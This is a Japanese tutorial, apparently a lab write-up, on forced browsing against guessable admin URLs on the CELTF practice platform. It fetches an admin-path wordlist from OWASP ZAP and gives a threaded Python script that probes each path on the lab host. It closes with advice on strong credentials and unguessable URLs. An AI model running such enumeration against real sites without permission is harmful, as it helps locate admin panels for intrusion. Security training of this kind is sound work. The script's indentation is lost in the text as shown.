フレームワークの利用が一般的になっている中、管理画面などのセンシティブな機能にアクセスするURLがデフォルト値で公開されている場合があります。
ID/パスワードが十分にセキュアであればセキュリティリスクはそこまで高くはないですが、ID/パスワードが脆弱であったり、コード上の不具合などでセキュリティリスクを抱える場合があります。
推測可能なURLの危険性についてCELTFを利用して実際に体験します。
注: CELTF の "ToDo管理サービス" に関する解析方法を含みます。
強制ブラウジング
フレームワークで利用されているデフォルトURLや一般的に多用されているURLを利用する事で公開していないURLが推測される可能性があります。
そういった公開されていない推測されたURLに直接アクセスする攻撃として強制ブラウジング(強制ブラウズ)というものがあります。
推測されやすい管理画面のリスク
ECサイトなどの管理画面が不正アクセスされる事で悪意のあるJavaScriptが仕込まれ、利用者のデータが漏洩する被害が増えてきています。
ID/パスワードがセキュアであれば問題ないのですが、公開していないURLである事、ID/パスワードの使い回しを行う事から安易なID/パスワードが設定される事が多いようです。
実際に攻撃する
OWASP-ZAPなどのツールがありますが、今回は強制ブラウジングのみなのでPythonで簡単なスクリプトを組みます。
攻撃対象の取得
OWASP-ZAPから管理画面の攻撃対象を取得します。
wget https://raw.githubusercontent.com/zaproxy/zap-extensions/main/addOns/svndigger/src/main/svndigger/context/admin.txt
head admin.txt
# 攻撃対象の文字列が表示されれば成功です
スクリプトの実装
レスポンスコードにより存在を確認する簡易的なスクリプトを作成します。
import queue
import socket
import threading
import time
import urllib.error
import urllib.request
WORKER = 4
BASE = "http://target1.jail.celtf.com/"
socket.setdefaulttimeout(3)
f = open("admin.txt")
collected = []
q = queue.Queue()
def collect() -> None:
while 1:
path = q.get()
try:
response = urllib.request.urlopen(f"{BASE}/{path}")
except urllib.error.HTTPError:
continue
if 200 <= response.status < 300:
collected.append(response.url)
for _ in range(WORKER):
th = threading.Thread(target=collect)
th.daemon = True
th.start()
for path in f:
q.put(path)
while q.qsize() != 0:
print(f"\rRemaining: {q.qsize()}\033[K", end="")
time.sleep(1)
print("\rCollected:\033[K")
print(collected)
実際にアクセス
スクリプトを実行して入手したURLに対して実際にアクセスします。
アクセスして特権ログイン画面が表示されれば成功です。
おわりに
今回は強制ブラウジングを試してみました。
公開していないつもりのURLでも、推測可能なURLの場合簡単なスクリプトを書くだけで割り出す事が可能です。
管理画面であればセキュアなID/パスワードを設定する事はもちろんですが、推測されにくいURLに変更する事で、セキュリティリスクを軽減する事も一つの方法です。
CELTFを攻略する上では特権ログインを行う必要がありますが、特権ログインの脆弱性に関しては後日記載いたします。